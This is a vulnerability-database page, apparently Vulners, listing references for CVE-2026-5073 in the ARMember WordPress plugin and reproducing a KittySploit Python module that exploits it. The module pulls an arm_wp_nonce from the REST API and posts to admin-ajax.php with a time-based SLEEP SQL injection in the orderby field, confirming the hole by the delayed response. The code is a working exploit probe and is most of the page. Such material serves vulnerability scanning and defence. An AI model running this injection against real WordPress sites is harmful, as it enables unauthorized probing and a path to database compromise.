Lucene search
+L

ARMember CVE-2026-5073 SQLi probe

🗓️ 09 Nov 2026 07:42:09Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 5 Views

SQLi in ARMember via POST arm_directory_paging_action with SLEEP in orderby.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-5073
2 Jun 202618:30
–attackerkb
attackerkb
attackerkb
CVE-2026-5076
2 Jun 202618:30
–attackerkb
circl
Circl
CVE-2026-5073
2 Jun 202620:49
–circl
cnnvd
CNNVD
WordPress plugin ARMember has a SQL injection vulnerability.
2 Jun 202600:00
–cnnvd
cve
CVE
CVE-2026-5073
2 Jun 202618:30
–cve
cvelist
Cvelist
CVE-2026-5073 ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection via 'order' Parameter
2 Jun 202618:30
–cvelist
euvd
EUVD
EUVD-2026-34005
2 Jun 202618:30
–euvd
kitploit
Kitploit
CVE-2026-5076
31 Oct 202619:56
–kitploit
kitploit
Kitploit
CVE-2026-5076
31 Oct 202613:05
–kitploit
kittysploit
KittySploit
ARMember CVE-2026-5073 SQLi detect
9 Nov 202607:42
–kittysploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ARMember CVE-2026-5073 — orderby time-based SQLi."""

import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress


class Module(Auxiliary, Http_client, Wordpress):
    __info__ = {
        "name": "ARMember CVE-2026-5073 SQLi probe",
        "description": "POST arm_directory_paging_action with SLEEP in orderby.",
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-5073"],
        "tags": ["wordpress", "armember", "sqli", "cve-2026-5073"],
        "agent": {"approval_required": True},
    }

    path = OptString("/", "WordPress base path", required=False)
    arm_nonce = OptString("", "arm_wp_nonce (auto from REST pages if empty)", required=False)
    sleep_seconds = OptInteger(8, "SLEEP seconds", required=False)

    def _join(self, suffix: str) -> str:
        base = self.wp_normalize_base_path(self.path or "/")
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base != "/" else suffix

    def _resolve_nonce(self) -> str:
        forced = (self.arm_nonce or "").strip()
        if forced:
            return forced
        rest = self.http_request(
            method="GET",
            path=self._join("/index.php"),
            params={"rest_route": "/wp/v2/pages", "per_page": "100"},
            allow_redirects=False,
        )
        m = re.search(r"name='arm_wp_nonce'[^>]*value='([a-f0-9]+)'", rest.text or "") if rest else None
        return m.group(1) if m else ""

    def run(self):
        nonce = self._resolve_nonce()
        if not nonce:
            print_error("arm_wp_nonce not found")
            return False
        sleep_s = int(self.sleep_seconds or 8)
        orderby = f"display_name,IF(1=1,SLEEP({sleep_s}),0)"
        start = time.monotonic()
        resp = self.http_request(
            method="POST",
            path=self._join("/wp-admin/admin-ajax.php"),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            data={
                "action": "arm_directory_paging_action",
                "pagination": "infinite",
                "id": "1",
                "type": "directory",
                "orderby": orderby,
                "order": "ASC",
                "per_page": "10",
                "current_page": "1",
                "arm_wp_nonce": nonce,
            },
            allow_redirects=False,
            timeout=30,
        )
        elapsed = time.monotonic() - start
        if elapsed >= sleep_s - 1 and resp and "arm_directory_paging_container" in (resp.text or ""):
            print_success(f"SQLi delay ~{elapsed:.1f}s")
            return True
        print_error(f"Probe failed ({elapsed:.1f}s)")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Nov 2026 07:42Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
EPSS0.01383
SSVC
5